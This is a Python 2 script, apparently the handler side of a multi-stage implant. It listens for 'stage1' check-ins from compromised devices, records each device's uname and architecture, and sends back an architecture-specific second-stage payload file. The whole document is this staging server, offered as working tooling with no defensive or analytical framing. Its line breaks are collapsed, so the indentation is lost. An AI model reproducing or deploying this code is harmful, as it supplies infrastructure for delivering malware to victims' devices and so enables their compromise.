#!/usr/bin/python # Neil Jones # Stage Handler Server # Usage: ./server.py # Server will attempt to send /standard.bin to any device which sends a stage1 packet import sys,socket,threading,struct,time class handler: deviceInfo = {} host = "" listenport = 14567 def __init__(self): if len(sys.argv) == 2: self.listenport = int(sys.argv[1]) pass def main(self): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind((self.host, self.listenport)) s.listen(1) while 1: c = handleClient(s.accept()) c.start() class handleClient(threading.Thread): def __init__(self,(client,address)): threading.Thread.__init__(self) self.client = client self.address = address self.size = 1024 self.dataInfo = 0 self.delchars = ''.join(c for c in map(chr, range(256)) if not c.isalnum()) def run(self): running = 1 while running: data = self.client.recv(self.size) if data: print data #stageone payload looking to download stage 2 if data[0] == "1": running = self.stageOne(data[1:]) else: self.client.close() running = 0 def stageOne(self,data): #type 1 so is a stage1 packet inSplit = data.strip().split("|") #format should be uname | device = {} device["host"] = self.address[0] #ignore the port device["uname"] = inSplit[0] device["arch"] = inSplit[1].translate(None, self.delchars) device["comments"] = "" #send stage 2 payload self.deviceInfo = 1 self.device = device try: of = open(device["arch"]+"/standard.bin","r") except: print "[!] Could not open " + device["arch"] + "/standard.bin for client " + self.address[0] self.client.send("1") self.client.close() return 0 print "Sent %d bytes to client" % self.client.send(of.read()) time.sleep(1); self.client.close(); print device return 0 if __name__ == "__main__": #setup handler ha = handler() ha.main()